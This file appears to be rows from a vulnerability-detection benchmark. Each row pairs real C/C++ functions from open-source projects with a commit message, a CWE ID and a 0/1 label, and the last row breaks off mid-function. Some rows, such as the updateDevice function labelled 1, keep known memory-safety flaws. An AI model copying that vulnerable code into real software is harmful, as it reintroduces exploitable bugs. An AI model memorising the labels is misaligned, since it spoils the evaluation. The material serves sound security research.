instruction
stringclasses 1
value | input
stringlengths 56
241k
| output
int64 0
1
| __index_level_0__
int64 0
175k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int kvm_arch_create_memslot(struct kvm_memory_slot *slot, unsigned long npages)
{
int i;
for (i = 0; i < KVM_NR_PAGE_SIZES; ++i) {
unsigned long ugfn;
int lpages;
int level = i + 1;
lpages = gfn_to_index(slot->base_gfn + npages - 1,
slot->base_gfn, level) + 1;
slot->arch.rmap[i] =
kvm_kvzalloc(lpages * sizeof(*slot->arch.rmap[i]));
if (!slot->arch.rmap[i])
goto out_free;
if (i == 0)
continue;
slot->arch.lpage_info[i - 1] = kvm_kvzalloc(lpages *
sizeof(*slot->arch.lpage_info[i - 1]));
if (!slot->arch.lpage_info[i - 1])
goto out_free;
if (slot->base_gfn & (KVM_PAGES_PER_HPAGE(level) - 1))
slot->arch.lpage_info[i - 1][0].write_count = 1;
if ((slot->base_gfn + npages) & (KVM_PAGES_PER_HPAGE(level) - 1))
slot->arch.lpage_info[i - 1][lpages - 1].write_count = 1;
ugfn = slot->userspace_addr >> PAGE_SHIFT;
/*
* If the gfn and userspace address are not aligned wrt each
* other, or if explicitly asked to, disable large page
* support for this slot
*/
if ((slot->base_gfn ^ ugfn) & (KVM_PAGES_PER_HPAGE(level) - 1) ||
!kvm_largepages_enabled()) {
unsigned long j;
for (j = 0; j < lpages; ++j)
slot->arch.lpage_info[i - 1][j].write_count = 1;
}
}
return 0;
out_free:
for (i = 0; i < KVM_NR_PAGE_SIZES; ++i) {
kvm_kvfree(slot->arch.rmap[i]);
slot->arch.rmap[i] = NULL;
if (i == 0)
continue;
kvm_kvfree(slot->arch.lpage_info[i - 1]);
slot->arch.lpage_info[i - 1] = NULL;
}
return -ENOMEM;
}
Commit Message: KVM: x86: Convert MSR_KVM_SYSTEM_TIME to use gfn_to_hva_cache functions (CVE-2013-1797)
There is a potential use after free issue with the handling of
MSR_KVM_SYSTEM_TIME. If the guest specifies a GPA in a movable or removable
memory such as frame buffers then KVM might continue to write to that
address even after it's removed via KVM_SET_USER_MEMORY_REGION. KVM pins
the page in memory so it's unlikely to cause an issue, but if the user
space component re-purposes the memory previously used for the guest, then
the guest will be able to corrupt that memory.
Tested: Tested against kvmclock unit test
Signed-off-by: Andrew Honig <ahonig@google.com>
Signed-off-by: Marcelo Tosatti <mtosatti@redhat.com>
CWE ID: CWE-399
| 0
| 33,271
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void pl022_xfer(PL022State *s)
{
int i;
int o;
int val;
if ((s->cr1 & PL022_CR1_SSE) == 0) {
pl022_update(s);
DPRINTF("Disabled\n");
return;
}
DPRINTF("Maybe xfer %d/%d\n", s->tx_fifo_len, s->rx_fifo_len);
i = (s->tx_fifo_head - s->tx_fifo_len) & 7;
o = s->rx_fifo_head;
/* ??? We do not emulate the line speed.
This may break some applications. The are two problematic cases:
(a) A driver feeds data into the TX FIFO until it is full,
and only then drains the RX FIFO. On real hardware the CPU can
feed data fast enough that the RX fifo never gets chance to overflow.
(b) A driver transmits data, deliberately allowing the RX FIFO to
overflow because it ignores the RX data anyway.
We choose to support (a) by stalling the transmit engine if it would
cause the RX FIFO to overflow. In practice much transmit-only code
falls into (a) because it flushes the RX FIFO to determine when
the transfer has completed. */
while (s->tx_fifo_len && s->rx_fifo_len < 8) {
DPRINTF("xfer\n");
val = s->tx_fifo[i];
if (s->cr1 & PL022_CR1_LBM) {
/* Loopback mode. */
} else {
val = ssi_transfer(s->ssi, val);
}
s->rx_fifo[o] = val & s->bitmask;
i = (i + 1) & 7;
o = (o + 1) & 7;
s->tx_fifo_len--;
s->rx_fifo_len++;
}
s->rx_fifo_head = o;
pl022_update(s);
}
Commit Message:
CWE ID: CWE-119
| 0
| 15,744
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: netdutils::Status XfrmController::deleteSecurityAssociation(const XfrmId& record,
const XfrmSocket& sock) {
xfrm_usersa_id said{};
nlattr_xfrm_mark xfrmmark{};
enum { NLMSG_HDR, USERSAID, USERSAID_PAD, MARK, MARK_PAD };
std::vector<iovec> iov = {
{NULL, 0}, // reserved for the eventual addition of a NLMSG_HDR
{&said, 0}, // main usersa_info struct
{kPadBytes, 0}, // up to NLMSG_ALIGNTO pad bytes of padding
{&xfrmmark, 0}, // adjust size if xfrm mark is present
{kPadBytes, 0}, // up to NLATTR_ALIGNTO pad bytes
};
int len;
len = iov[USERSAID].iov_len = fillUserSaId(record, &said);
iov[USERSAID_PAD].iov_len = NLMSG_ALIGN(len) - len;
len = iov[MARK].iov_len = fillNlAttrXfrmMark(record, &xfrmmark);
iov[MARK_PAD].iov_len = NLA_ALIGN(len) - len;
return sock.sendMessage(XFRM_MSG_DELSA, NETLINK_REQUEST_FLAGS, 0, &iov);
}
Commit Message: Set optlen for UDP-encap check in XfrmController
When setting the socket owner for an encap socket XfrmController will
first attempt to verify that the socket has the UDP-encap socket option
set. When doing so it would pass in an uninitialized optlen parameter
which could cause the call to not modify the option value if the optlen
happened to be too short. So for example if the stack happened to
contain a zero where optlen was located the check would fail and the
socket owner would not be changed.
Fix this by setting optlen to the size of the option value parameter.
Test: run cts -m CtsNetTestCases
BUG: 111650288
Change-Id: I57b6e9dba09c1acda71e3ec2084652e961667bd9
(cherry picked from commit fc42a105147310bd680952d4b71fe32974bd8506)
CWE ID: CWE-909
| 0
| 162,687
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: long long Chapters::Atom::GetStartTime(const Chapters* pChapters) const {
return GetTime(pChapters, m_start_timecode);
}
Commit Message: external/libvpx/libwebm: Update snapshot
Update libwebm snapshot. This update contains security fixes from upstream.
Upstream git hash: 229f49347d19b0ca0941e072b199a242ef6c5f2b
BUG=23167726
Change-Id: Id3e140e7b31ae11294724b1ecfe2e9c83b4d4207
(cherry picked from commit d0281a15b3c6bd91756e453cc9398c5ef412d99a)
CWE ID: CWE-20
| 0
| 160,797
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: check_gss_callback_principal(struct nfs_client *clp, struct svc_rqst *rqstp)
{
char *p = rqstp->rq_cred.cr_principal;
if (rqstp->rq_authop->flavour != RPC_AUTH_GSS)
return 1;
/* No RPC_AUTH_GSS on NFSv4.1 back channel yet */
if (clp->cl_minorversion != 0)
return 0;
/*
* It might just be a normal user principal, in which case
* userspace won't bother to tell us the name at all.
*/
if (p == NULL)
return 0;
/*
* Did we get the acceptor from userland during the SETCLIENID
* negotiation?
*/
if (clp->cl_acceptor)
return !strcmp(p, clp->cl_acceptor);
/*
* Otherwise try to verify it using the cl_hostname. Note that this
* doesn't work if a non-canonical hostname was used in the devname.
*/
/* Expect a GSS_C_NT_HOSTBASED_NAME like "nfs@serverhostname" */
if (memcmp(p, "nfs@", 4) != 0)
return 0;
p += 4;
if (strcmp(p, clp->cl_hostname) != 0)
return 0;
return 1;
}
Commit Message: Merge tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux
Pull nfsd updates from Bruce Fields:
"Another RDMA update from Chuck Lever, and a bunch of miscellaneous
bugfixes"
* tag 'nfsd-4.12' of git://linux-nfs.org/~bfields/linux: (26 commits)
nfsd: Fix up the "supattr_exclcreat" attributes
nfsd: encoders mustn't use unitialized values in error cases
nfsd: fix undefined behavior in nfsd4_layout_verify
lockd: fix lockd shutdown race
NFSv4: Fix callback server shutdown
SUNRPC: Refactor svc_set_num_threads()
NFSv4.x/callback: Create the callback service through svc_create_pooled
lockd: remove redundant check on block
svcrdma: Clean out old XDR encoders
svcrdma: Remove the req_map cache
svcrdma: Remove unused RDMA Write completion handler
svcrdma: Reduce size of sge array in struct svc_rdma_op_ctxt
svcrdma: Clean up RPC-over-RDMA backchannel reply processing
svcrdma: Report Write/Reply chunk overruns
svcrdma: Clean up RDMA_ERROR path
svcrdma: Use rdma_rw API in RPC reply path
svcrdma: Introduce local rdma_rw API helpers
svcrdma: Clean up svc_rdma_get_inv_rkey()
svcrdma: Add helper to save pages under I/O
svcrdma: Eliminate RPCRDMA_SQ_DEPTH_MULT
...
CWE ID: CWE-404
| 0
| 65,240
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: updateDevice(const struct header * headers, time_t t)
{
struct device ** pp = &devlist;
struct device * p = *pp; /* = devlist; */
while(p)
{
if( p->headers[HEADER_NT].l == headers[HEADER_NT].l
&& (0==memcmp(p->headers[HEADER_NT].p, headers[HEADER_NT].p, headers[HEADER_NT].l))
&& p->headers[HEADER_USN].l == headers[HEADER_USN].l
&& (0==memcmp(p->headers[HEADER_USN].p, headers[HEADER_USN].p, headers[HEADER_USN].l)) )
{
/*printf("found! %d\n", (int)(t - p->t));*/
syslog(LOG_DEBUG, "device updated : %.*s", headers[HEADER_USN].l, headers[HEADER_USN].p);
p->t = t;
/* update Location ! */
if(headers[HEADER_LOCATION].l > p->headers[HEADER_LOCATION].l)
{
struct device * tmp;
tmp = realloc(p, sizeof(struct device)
+ headers[0].l+headers[1].l+headers[2].l);
if(!tmp) /* allocation error */
{
syslog(LOG_ERR, "updateDevice() : memory allocation error");
free(p);
return 0;
}
p = tmp;
*pp = p;
}
memcpy(p->data + p->headers[0].l + p->headers[1].l,
headers[2].p, headers[2].l);
/* TODO : check p->headers[HEADER_LOCATION].l */
return 0;
}
pp = &p->next;
p = *pp; /* p = p->next; */
}
syslog(LOG_INFO, "new device discovered : %.*s",
headers[HEADER_USN].l, headers[HEADER_USN].p);
/* add */
{
char * pc;
int i;
p = malloc( sizeof(struct device)
+ headers[0].l+headers[1].l+headers[2].l );
if(!p) {
syslog(LOG_ERR, "updateDevice(): cannot allocate memory");
return -1;
}
p->next = devlist;
p->t = t;
pc = p->data;
for(i = 0; i < 3; i++)
{
p->headers[i].p = pc;
p->headers[i].l = headers[i].l;
memcpy(pc, headers[i].p, headers[i].l);
pc += headers[i].l;
}
devlist = p;
sendNotifications(NOTIF_NEW, p, NULL);
}
return 1;
}
Commit Message: updateDevice() remove element from the list when realloc fails
CWE ID: CWE-416
| 1
| 169,669
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_METHOD(SoapServer, setPersistence)
{
soapServicePtr service;
long value;
SOAP_SERVER_BEGIN_CODE();
FETCH_THIS_SERVICE(service);
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &value) != FAILURE) {
if (service->type == SOAP_CLASS) {
if (value == SOAP_PERSISTENCE_SESSION ||
value == SOAP_PERSISTENCE_REQUEST) {
service->soap_class.persistance = value;
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tried to set persistence with bogus value (%ld)", value);
return;
}
} else {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tried to set persistence when you are using you SOAP SERVER in function mode, no persistence needed");
return;
}
}
SOAP_SERVER_END_CODE();
}
Commit Message:
CWE ID:
| 0
| 14,862
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: invoke_NPN_ReleaseObject(NPObject *npobj)
{
npw_return_val_if_fail(rpc_method_invoke_possible(g_rpc_connection),
npobj->referenceCount);
int error = rpc_method_invoke(g_rpc_connection,
RPC_METHOD_NPN_RELEASE_OBJECT,
RPC_TYPE_NP_OBJECT, npobj,
RPC_TYPE_INVALID);
if (error != RPC_ERROR_NO_ERROR) {
npw_perror("NPN_ReleaseObject() invoke", error);
return npobj->referenceCount;
}
uint32_t refcount;
error = rpc_method_wait_for_reply(g_rpc_connection, RPC_TYPE_UINT32, &refcount, RPC_TYPE_INVALID);
if (error != RPC_ERROR_NO_ERROR) {
npw_perror("NPN_ReleaseObject() wait for reply", error);
return npobj->referenceCount;
}
return refcount;
}
Commit Message: Support all the new variables added
CWE ID: CWE-264
| 0
| 27,136
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: kauth_print(netdissect_options *ndo,
register const u_char *bp, int length)
{
int kauth_op;
if (length <= (int)sizeof(struct rx_header))
return;
if (ndo->ndo_snapend - bp + 1 <= (int)(sizeof(struct rx_header) + sizeof(int32_t))) {
goto trunc;
}
/*
* Print out the afs call we're invoking. The table used here was
* gleaned from kauth/kauth.rg
*/
kauth_op = EXTRACT_32BITS(bp + sizeof(struct rx_header));
ND_PRINT((ndo, " kauth"));
if (is_ubik(kauth_op)) {
ubik_print(ndo, bp);
return;
}
ND_PRINT((ndo, " call %s", tok2str(kauth_req, "op#%d", kauth_op)));
/*
* Decode some of the arguments to the KA calls
*/
bp += sizeof(struct rx_header) + 4;
switch (kauth_op) {
case 1: /* Authenticate old */
case 21: /* Authenticate */
case 22: /* Authenticate-V2 */
case 2: /* Change PW */
case 5: /* Set fields */
case 6: /* Create user */
case 7: /* Delete user */
case 8: /* Get entry */
case 14: /* Unlock */
case 15: /* Lock status */
ND_PRINT((ndo, " principal"));
STROUT(KANAMEMAX);
STROUT(KANAMEMAX);
break;
case 3: /* GetTicket-old */
case 23: /* GetTicket */
{
int i;
ND_PRINT((ndo, " kvno"));
INTOUT();
ND_PRINT((ndo, " domain"));
STROUT(KANAMEMAX);
ND_TCHECK2(bp[0], sizeof(int32_t));
i = (int) EXTRACT_32BITS(bp);
bp += sizeof(int32_t);
ND_TCHECK2(bp[0], i);
bp += i;
ND_PRINT((ndo, " principal"));
STROUT(KANAMEMAX);
STROUT(KANAMEMAX);
break;
}
case 4: /* Set Password */
ND_PRINT((ndo, " principal"));
STROUT(KANAMEMAX);
STROUT(KANAMEMAX);
ND_PRINT((ndo, " kvno"));
INTOUT();
break;
case 12: /* Get password */
ND_PRINT((ndo, " name"));
STROUT(KANAMEMAX);
break;
default:
;
}
return;
trunc:
ND_PRINT((ndo, " [|kauth]"));
}
Commit Message: CVE-2017-13049/Rx: add a missing bounds check for Ubik
One of the case blocks in ubik_print() didn't check bounds before
fetching 32 bits of packet data and could overread past the captured
packet data by that amount.
This fixes a buffer over-read discovered by Henri Salo from Nixu
Corporation.
Add a test using the capture file supplied by the reporter(s).
CWE ID: CWE-125
| 0
| 62,275
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int zgetfilename(i_ctx_t *i_ctx_p)
{
os_ptr op = osp;
uint fnlen;
gs_const_string pfname;
stream *s;
byte *sbody;
int code;
check_ostack(1);
check_read_type(*op, t_file);
s = (op)->value.pfile;
code = sfilename(s, &pfname);
if (code < 0) {
pfname.size = 0;
}
fnlen = pfname.size;
sbody = ialloc_string(fnlen, ".getfilename");
if (sbody == 0) {
code = gs_note_error(gs_error_VMerror);
return code;
}
memcpy(sbody, pfname.data, fnlen);
make_string(op, a_readonly | icurrent_space, fnlen, sbody);
return 0;
}
Commit Message:
CWE ID: CWE-200
| 0
| 6,633
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GLES2DecoderImpl::SetSurface(
const scoped_refptr<gfx::GLSurface>& surface) {
DCHECK(context_->IsCurrent(NULL));
DCHECK(surface_.get());
surface_ = surface;
RestoreCurrentFramebufferBindings();
}
Commit Message: Fix SafeAdd and SafeMultiply
BUG=145648,145544
Review URL: https://chromiumcodereview.appspot.com/10916165
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 103,691
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int igmp_mc_seq_show(struct seq_file *seq, void *v)
{
if (v == SEQ_START_TOKEN)
seq_puts(seq,
"Idx\tDevice : Count Querier\tGroup Users Timer\tReporter\n");
else {
struct ip_mc_list *im = (struct ip_mc_list *)v;
struct igmp_mc_iter_state *state = igmp_mc_seq_private(seq);
char *querier;
#ifdef CONFIG_IP_MULTICAST
querier = IGMP_V1_SEEN(state->in_dev) ? "V1" :
IGMP_V2_SEEN(state->in_dev) ? "V2" :
"V3";
#else
querier = "NONE";
#endif
if (rcu_dereference(state->in_dev->mc_list) == im) {
seq_printf(seq, "%d\t%-10s: %5d %7s\n",
state->dev->ifindex, state->dev->name, state->in_dev->mc_count, querier);
}
seq_printf(seq,
"\t\t\t\t%08X %5d %d:%08lX\t\t%d\n",
im->multiaddr, im->users,
im->tm_running, im->tm_running ?
jiffies_to_clock_t(im->timer.expires-jiffies) : 0,
im->reporter);
}
return 0;
}
Commit Message: igmp: Avoid zero delay when receiving odd mixture of IGMP queries
Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0. Substitute
a value of 1, as in the usual v3 case.
Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399
| 0
| 21,601
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void VideoCaptureImpl::DidFinishConsumingFrame(
const media::VideoFrameMetadata* metadata,
BufferFinishedCallback callback_to_io_thread) {
double consumer_resource_utilization = -1.0;
if (!metadata->GetDouble(media::VideoFrameMetadata::RESOURCE_UTILIZATION,
&consumer_resource_utilization)) {
consumer_resource_utilization = -1.0;
}
std::move(callback_to_io_thread).Run(consumer_resource_utilization);
}
Commit Message: Correct mojo::WrapSharedMemoryHandle usage
Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which
were assuming that the call actually has any control over the memory
protection applied to a handle when mapped.
Where fixing usage is infeasible for this CL, TODOs are added to
annotate follow-up work.
Also updates the API and documentation to (hopefully) improve clarity
and avoid similar mistakes from being made in the future.
BUG=792900
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477
Reviewed-on: https://chromium-review.googlesource.com/818282
Reviewed-by: Wei Li <weili@chromium.org>
Reviewed-by: Lei Zhang <thestig@chromium.org>
Reviewed-by: John Abd-El-Malek <jam@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Reviewed-by: Sadrul Chowdhury <sadrul@chromium.org>
Reviewed-by: Yuzhu Shen <yzshen@chromium.org>
Reviewed-by: Robert Sesek <rsesek@chromium.org>
Commit-Queue: Ken Rockot <rockot@chromium.org>
Cr-Commit-Position: refs/heads/master@{#530268}
CWE ID: CWE-787
| 0
| 149,376
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int nested_vmx_run(struct kvm_vcpu *vcpu, bool launch)
{
struct vmcs12 *vmcs12;
struct vcpu_vmx *vmx = to_vmx(vcpu);
u32 interrupt_shadow = vmx_get_interrupt_shadow(vcpu);
u32 exit_qual;
int ret;
if (!nested_vmx_check_permission(vcpu))
return 1;
if (!nested_vmx_check_vmcs12(vcpu))
goto out;
vmcs12 = get_vmcs12(vcpu);
if (enable_shadow_vmcs)
copy_shadow_to_vmcs12(vmx);
/*
* The nested entry process starts with enforcing various prerequisites
* on vmcs12 as required by the Intel SDM, and act appropriately when
* they fail: As the SDM explains, some conditions should cause the
* instruction to fail, while others will cause the instruction to seem
* to succeed, but return an EXIT_REASON_INVALID_STATE.
* To speed up the normal (success) code path, we should avoid checking
* for misconfigurations which will anyway be caught by the processor
* when using the merged vmcs02.
*/
if (interrupt_shadow & KVM_X86_SHADOW_INT_MOV_SS) {
nested_vmx_failValid(vcpu,
VMXERR_ENTRY_EVENTS_BLOCKED_BY_MOV_SS);
goto out;
}
if (vmcs12->launch_state == launch) {
nested_vmx_failValid(vcpu,
launch ? VMXERR_VMLAUNCH_NONCLEAR_VMCS
: VMXERR_VMRESUME_NONLAUNCHED_VMCS);
goto out;
}
ret = check_vmentry_prereqs(vcpu, vmcs12);
if (ret) {
nested_vmx_failValid(vcpu, ret);
goto out;
}
/*
* After this point, the trap flag no longer triggers a singlestep trap
* on the vm entry instructions; don't call kvm_skip_emulated_instruction.
* This is not 100% correct; for performance reasons, we delegate most
* of the checks on host state to the processor. If those fail,
* the singlestep trap is missed.
*/
skip_emulated_instruction(vcpu);
ret = check_vmentry_postreqs(vcpu, vmcs12, &exit_qual);
if (ret) {
nested_vmx_entry_failure(vcpu, vmcs12,
EXIT_REASON_INVALID_STATE, exit_qual);
return 1;
}
/*
* We're finally done with prerequisite checking, and can start with
* the nested entry.
*/
ret = enter_vmx_non_root_mode(vcpu, true);
if (ret)
return ret;
if (vmcs12->guest_activity_state == GUEST_ACTIVITY_HLT)
return kvm_vcpu_halt(vcpu);
vmx->nested.nested_run_pending = 1;
return 1;
out:
return kvm_skip_emulated_instruction(vcpu);
}
Commit Message: kvm: nVMX: Don't allow L2 to access the hardware CR8
If L1 does not specify the "use TPR shadow" VM-execution control in
vmcs12, then L0 must specify the "CR8-load exiting" and "CR8-store
exiting" VM-execution controls in vmcs02. Failure to do so will give
the L2 VM unrestricted read/write access to the hardware CR8.
This fixes CVE-2017-12154.
Signed-off-by: Jim Mattson <jmattson@google.com>
Reviewed-by: David Hildenbrand <david@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID:
| 0
| 63,012
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void NavigatorImpl::CheckWebUIRendererDoesNotDisplayNormalURL(
RenderFrameHostImpl* render_frame_host,
const GURL& url) {
int enabled_bindings = render_frame_host->GetEnabledBindings();
bool is_allowed_in_web_ui_renderer =
WebUIControllerFactoryRegistry::GetInstance()->IsURLAcceptableForWebUI(
render_frame_host->frame_tree_node()
->navigator()
->GetController()
->GetBrowserContext(),
url);
if ((enabled_bindings & kWebUIBindingsPolicyMask) &&
!is_allowed_in_web_ui_renderer) {
FrameTreeNode* root_node =
render_frame_host->frame_tree_node()->frame_tree()->root();
GetContentClient()->SetActiveURL(
url, root_node->current_url().possibly_invalid_spec());
CHECK(0);
}
}
Commit Message: Don't preserve NavigationEntry for failed navigations with invalid URLs.
The formatting logic may rewrite such URLs into an unsafe state. This
is a first step before preventing navigations to invalid URLs entirely.
Bug: 850824
Change-Id: I71743bfb4b610d55ce901ee8902125f934a2bb23
Reviewed-on: https://chromium-review.googlesource.com/c/1252942
Reviewed-by: Alex Moshchuk <alexmos@chromium.org>
Commit-Queue: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597304}
CWE ID: CWE-20
| 0
| 143,804
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: String Element::nodeName() const
{
return m_tagName.toString();
}
Commit Message: Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 112,313
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: RList *r_bin_wasm_get_elements (RBinWasmObj *bin) {
RBinWasmSection *element = NULL;
RList *elements = NULL;
if (!bin || !bin->g_sections) {
return NULL;
}
if (bin->g_elements) {
return bin->g_elements;
}
if (!(elements = r_bin_wasm_get_sections_by_id (bin->g_sections,
R_BIN_WASM_SECTION_ELEMENT))) {
return r_list_new();
}
if (!(element = (RBinWasmSection*) r_list_first (elements))) {
return r_list_new();
}
bin->g_elements = r_bin_wasm_get_element_entries (bin, element);
return bin->g_elements;
}
Commit Message: Fix crash in fuzzed wasm r2_hoobr_consume_init_expr
CWE ID: CWE-125
| 0
| 67,077
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: long long lookup_entry(struct hash_table_entry *hash_table[], long long start)
{
int hash = CALCULATE_HASH(start);
struct hash_table_entry *hash_table_entry;
for(hash_table_entry = hash_table[hash]; hash_table_entry;
hash_table_entry = hash_table_entry->next)
if(hash_table_entry->start == start)
return hash_table_entry->bytes;
return -1;
}
Commit Message: unsquashfs-4: Add more sanity checks + fix CVE-2015-4645/6
Add more filesystem table sanity checks to Unsquashfs-4 and
also properly fix CVE-2015-4645 and CVE-2015-4646.
The CVEs were raised due to Unsquashfs having variable
oveflow and stack overflow in a number of vulnerable
functions.
The suggested patch only "fixed" one such function and fixed
it badly, and so it was buggy and introduced extra bugs!
The suggested patch was not only buggy, but, it used the
essentially wrong approach too. It was "fixing" the
symptom but not the cause. The symptom is wrong values
causing overflow, the cause is filesystem corruption.
This corruption should be detected and the filesystem
rejected *before* trying to allocate memory.
This patch applies the following fixes:
1. The filesystem super-block tables are checked, and the values
must match across the filesystem.
This will trap corrupted filesystems created by Mksquashfs.
2. The maximum (theorectical) size the filesystem tables could grow
to, were analysed, and some variables were increased from int to
long long.
This analysis has been added as comments.
3. Stack allocation was removed, and a shared buffer (which is
checked and increased as necessary) is used to read the
table indexes.
Signed-off-by: Phillip Lougher <phillip@squashfs.org.uk>
CWE ID: CWE-190
| 0
| 74,274
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::Replace(const base::string16& word) {
RenderFrameHost* focused_frame = GetFocusedFrame();
if (!focused_frame)
return;
focused_frame->Send(new InputMsg_Replace(
focused_frame->GetRoutingID(), word));
}
Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted
BUG=583718
Review URL: https://codereview.chromium.org/1685343004
Cr-Commit-Position: refs/heads/master@{#375700}
CWE ID:
| 0
| 131,967
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const CompressedFormatInfo* GetCompressedFormatInfo(GLenum format) {
for (size_t i = 0; i < arraysize(kCompressedFormatInfoArray); i++) {
if (kCompressedFormatInfoArray[i].format == format) {
return &kCompressedFormatInfoArray[i];
}
}
return nullptr;
}
Commit Message: Implement immutable texture base/max level clamping
It seems some drivers fail to handle that gracefully, so let's always clamp
to be on the safe side.
BUG=877874
TEST=test case in the bug, gpu_unittests
R=kbr@chromium.org
Cq-Include-Trybots: luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel
Change-Id: I6d93cb9389ea70525df4604112223604577582a2
Reviewed-on: https://chromium-review.googlesource.com/1194994
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Commit-Queue: Zhenyao Mo <zmo@chromium.org>
Cr-Commit-Position: refs/heads/master@{#587264}
CWE ID: CWE-119
| 0
| 145,891
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: const char* CMSEXPORT cmsIT8GetSheetType(cmsHANDLE hIT8)
{
return GetTable((cmsIT8*) hIT8)->SheetType;
}
Commit Message: Upgrade Visual studio 2017 15.8
- Upgrade to 15.8
- Add check on CGATS memory allocation (thanks to Quang Nguyen for
pointing out this)
CWE ID: CWE-190
| 0
| 78,072
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: unsigned char* lodepng_chunk_next(unsigned char* chunk)
{
unsigned total_chunk_length = lodepng_chunk_length(chunk) + 12;
return &chunk[total_chunk_length];
}
Commit Message: Fixed #5645: realloc return handling
CWE ID: CWE-772
| 0
| 87,512
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DownloadItemImpl::Completed() {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
DVLOG(20) << __func__ << "() " << DebugString(false);
DCHECK(AllDataSaved());
destination_info_.end_time = base::Time::Now();
TransitionTo(COMPLETE_INTERNAL);
bool is_parallelizable = job_ && job_->IsParallelizable();
RecordDownloadCompleted(start_tick_, GetReceivedBytes(), is_parallelizable);
if (!GetBrowserContext()->IsOffTheRecord()) {
RecordDownloadCount(COMPLETED_COUNT_NORMAL_PROFILE);
}
if (is_parallelizable) {
RecordParallelizableDownloadCount(COMPLETED_COUNT,
IsParallelDownloadEnabled());
int64_t content_length = -1;
if (response_headers_->response_code() != net::HTTP_PARTIAL_CONTENT) {
content_length = response_headers_->GetContentLength();
} else {
int64_t first_byte = -1;
int64_t last_byte = -1;
response_headers_->GetContentRangeFor206(&first_byte, &last_byte,
&content_length);
}
if (content_length > 0)
RecordParallelizableContentLength(content_length);
}
if (auto_opened_) {
} else if (GetOpenWhenComplete() ||
ShouldOpenFileBasedOnExtension() ||
IsTemporary()) {
if (!IsTemporary())
OpenDownload();
